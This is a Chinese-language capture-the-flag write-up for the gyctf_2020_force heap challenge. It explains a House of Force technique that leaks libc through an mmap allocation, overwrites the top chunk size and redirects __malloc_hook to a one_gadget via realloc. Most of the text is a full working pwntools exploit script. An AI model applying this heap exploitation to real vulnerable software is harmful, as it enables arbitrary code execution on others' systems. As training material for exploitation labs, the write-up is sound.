image.png
    可以看到保护全开
    image.png
    main函数两个功能一个是添加,还有一个是puts,当然这个puts没有用
    光看题目,其实就有想到应该是house of force
    image.png
    固定读入0x50个数据,这里就存在堆溢出。同时会每次打印出申请堆块的地址,所以我们申请一个大一点的堆块就可以调用mmap来申请堆块,而这个实现的堆块是跟libc有固定偏移的,所以我们只要申请一个大一点的堆块就可以泄露libc的地址。

    1. libcbase=creat(0x200000,"aaaa")+2101232
    2. log.success("libcbase------->"+hex(libcbase))

    因为存在堆溢出,我们只要将top chunk的size改为0xffffffffffffffff就可以申请无穷大的堆块

    1. payload = p64(0)*3+p64(0xffffffffffffffff)
    2. heapaddr=creat(0x18,payload)

    我们的目标是malloc__hook,所以我们要将堆块搞到malloc_hook附近然后用one_gadget来打通,可惜的是这里还要通过realloc来调整栈帧。

    1. offset = malloc_hook - topheap-0x30
    2. creat(offset,"bbbbbbbb")
    3. onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
    4. payload = p64(0)+p64(onegadget[1]+libcbase)+p64(realloc+0x10)
    5. creat(0x10,payload)

    这里为什么还要减掉0x30,这是因为我们要在malloc_hook和realloc_hook写东西,我们得至少将前两块空出来
    这是没有0x30的堆块,我们可以看到,topchunk的size已经去malloc_hook的下面了,就是没有我们要的效果
    image.png
    这是有偏移的
    image.png
    这是我们实现的效果
    image.png

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./gyctf_2020_force')
    6. #io = remote("node4.buuoj.cn",25704)
    7. elf = ELF('./gyctf_2020_force')
    8. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. #libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(size,value):
    14. io.recvuntil("2:puts")
    15. io.sendline("1")
    16. io.recvuntil("size")
    17. io.sendline(str(size))
    18. io.recvuntil("bin addr 0x")
    19. address = int(io.recvuntil("\n")[:-1],16)
    20. log.success("address:"+hex(address))
    21. io.recvuntil("content")
    22. io.send(value)
    23. return address
    24. libcbase=creat(0x200000,"aaaa")+2101232
    25. log.success("libcbase------->"+hex(libcbase))
    26. payload = p64(0)*3+p64(0xffffffffffffffff)
    27. heapaddr=creat(0x18,payload)
    28. topheap=heapaddr+0x10
    29. log.success("topheap------->"+hex(topheap))
    30. malloc_hook = libcbase+libc.sym["__malloc_hook"]
    31. realloc = libcbase+libc.sym["__libc_realloc"]
    32. log.success("malloc_hook------>"+hex(malloc_hook))
    33. log.success("realloc------>"+hex(realloc))
    34. offset = malloc_hook - topheap-0x30
    35. creat(offset,"bbbbbbbb")
    36. debug()
    37. onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
    38. payload = p64(0)+p64(onegadget[1]+libcbase)+p64(realloc+0x10)
    39. creat(0x10,payload)
    40. #debug()
    41. io.recvuntil("2:puts")
    42. io.sendline("1")
    43. io.recvuntil("size")
    44. io.sendline(str(0x40))
    45. io.interactive()